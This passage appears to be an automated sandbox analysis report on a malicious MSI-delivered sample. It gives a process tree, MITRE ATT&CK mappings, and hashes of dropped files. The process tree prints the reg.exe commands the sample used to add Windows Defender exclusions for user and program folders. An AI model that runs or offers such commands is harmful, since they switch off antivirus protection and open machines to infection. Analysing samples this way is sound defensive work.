C:\Windows\system32\cmd.execmd.exe1⤵PID:4672
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1400
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:632
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4920
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e588f3c.rbs
- Size 7KB
- SHA256 45f21fce0cd122e116bdbe6ced45ac11788a5ca26b4d6828a3e14d30c098e788
- MD5 04bd1addebb65915157c2d8a3645029b
- SHA1 e48b95067e84d02c3bb8cf8e26966408a26b9a4e
- SHA512 4fe5d13972a709b5cd2f00734b260ef17263f31d4629e23d7e3d30231ebda772b90f55dfe599be54317404f908a50c67cfea3c8e2ba046cd768afba302dde1fb
- SSDEEP 96:o1yuuTsePvCPxPPaUUTg1CsThq5UTg1C6joXPxtThqxHIS5ivW1EVsqcCKpljxu5:oZedzkIIXkIbMkVKpY
- TLSH T174F1FC42AB00D6F3EF961B75C713176637B3E3D99220274F099D88601F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\yVdn7v\GSB6AY.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\yVdn7v\UxEnhance64.dll
- Size 3.1MB
- SHA256 1f63c0cd7ee5e2404c2aad95e05c9c15767056256c429eccda3ea7fc5ade315a
- MD5 bea8fe54a3a276fcea0d0a329f8760a6
- SHA1 4b260ffbea70cf5bdf398d214031b3021b20620f
- SHA512 01c608783567ea73f8b8b371c06778f7611aac2479958118a17f7b78036a55452865044627bc3741df2dbf856ea9d175cc0c15b609aa686eef02ff5a788fc0d7
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+s:P9m29xx3Tiqt06ox6+z2rNNrKos
- TLSH T1C0E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\yVdn7v\adoresd.dat
- Size 4.7MB
- SHA256 9b77972b2539c2fc65a0559665016a9fd85e0c60c6156b89d6fd9fecb5485984
- MD5 927fdf5d26d30e5c66dd3e70932f7cef
- SHA1 05b370b6b11ace6016200b832ef0d04297cdd3b0
- SHA512 0ac68e8864327e1d8e4f0d629164619fa23aef21e1d63fe2aab15a51d8a8d3dd5e8049fe1be0fffe80a7511ccddba7f036538dac1a5e97865e9dc444f3adcdfa
- SSDEEP 98304:nmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:mu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1193633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\yVdn7v\msadox.tb
- Size 8KB
- SHA256 324afdc0353fb6c048ac9b9592bacb2160607448d3ff45d5fd85386dbc59e7ee
- MD5 a367cd648614b2a2ce4e04979f0c0353
- SHA1 aebd0989dc995b6c16439fb8e174fa452c718ae1
- SHA512 94ac7b87cafbac4ad5fc41e360b2f0c3b0928b934b196a3c6e46d39f3a4dd3493a4ef58d67f07da55fb94fa83dc96e85e1d4c37b628b0f6745a9a40680af121f
- SSDEEP 192:TqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
- TLSH T162029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI9101.tmp
- Size 7.0MB
- SHA256 58ac4e2623e7520961a0523ccc84cdae28580485828c0ad83f77ae2968ec6456
- MD5 30a2bf587dd8c215dd2163858906af8a
- SHA1 f986adcd3c84c4e463f40d77e9ed935a2d5ffbf2
- SHA512 8c6bd9744197afa0af69c78b35ab61fccf9b3ae7e6271633fee9b4edab5bb23387940b6fa15b06ef3f6c086de66433fb8cb07db42ef73ed80456bb96b450b8b4
- SSDEEP 196608:TUTss0UBxNzE3NUsTsJtR4Jy4QnZ2Y9DCztRZvpNeX3Uao:TUTAg7gdUV2Jy4QZ2Y9DuP6HUB
- TLSH T15776338265C97772C0AFC7B51B53626CF0253BC6FE624C07B9EAA6004AF371A54F2785
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e588f3b.msi
- Size 7.1MB
- SHA256 c4ca153cdc3f284a127760327f0eb388c71e239a4262ed2f5c68bdee75257fc4
- MD5 744dbd6ddd20985893303dec9eb98caf
- SHA1 a0dd447f06559fa3345d98bc5464c42cace64df1
- SHA512 3bdbecccb1f8067e013d37989c838ee5f405f3a004219ed3e4f104800bd15dd6fb85e2962be55454035b6207d7ead0ef229157c30e35b18f38df980942060325
- SSDEEP 196608:QUTss0UBxNzE3NUsTsJtR4Jy4QrZ2Y9DCztRZvpNeX3Uay:QUTAg7gdUV2Jy4Qt2Y9DuP6HUr
- TLSH T1F376338669C47772C09FC7751A53626CB0293FC6FE624C07B9EAB6004AF372A54F2785
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 0989e25f44a30c25efc2ea62d7284145a933f5140c546e110c4115928e16cfde
- MD5 9992edf87863149f8f8eac23078d62ec
- SHA1 145adee7544572af42b30a609dd5ed2ba38b6b5d
- SHA512 16d623840ff8e37564208e8615207276bfea041dced1a6b576435dd40322ea2c20fb8c5217bcace76ed4983f89519727b212b8a4e84fdaa99c431f64ec43f74d
- SSDEEP 24576:Nu8m+1z7doO/vvTLrWNOoWaZsEEjF1dSBbGNPic1FUaMeK0wo/lEFb2RY:V
- TLSH T14847F52437F92510E7F39E3DACF06A2349397D9B9C199E8D05811F4E0921BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{6e0928ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d466d9af-279a-4752-ad51-fa69aa8a3724}_OnDiskSnapshotProp
- Size 6KB
- SHA256 548eedebb1ae49ea96d2dc0225fd5331b6676e49cd20ef0d71a06edbaefdcbd7
- MD5 6bbfa4ccc3dd11a47f4edc3877c0e4ed
- SHA1 5289195dc6e88812e674c6eb67371e85e8085c7c
- SHA512 3aed9f7eb14203380188988eb85cf9ee58d7ea33dc43802f3529f905d863b33c4af9fff8069cc9b81b743cc0bb67cf28339a378e0f6df09d9cd482111a69c7f0
- SSDEEP 96:FbaenfFJvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:d1fxb++ZVmN
- TLSH T11DD189085AF54711E2B3AB3229F18557A877B951EF33CB8E0198238E6670A10F935F5F
- MD5 SHA1 SHA512 SSDEEP TLSH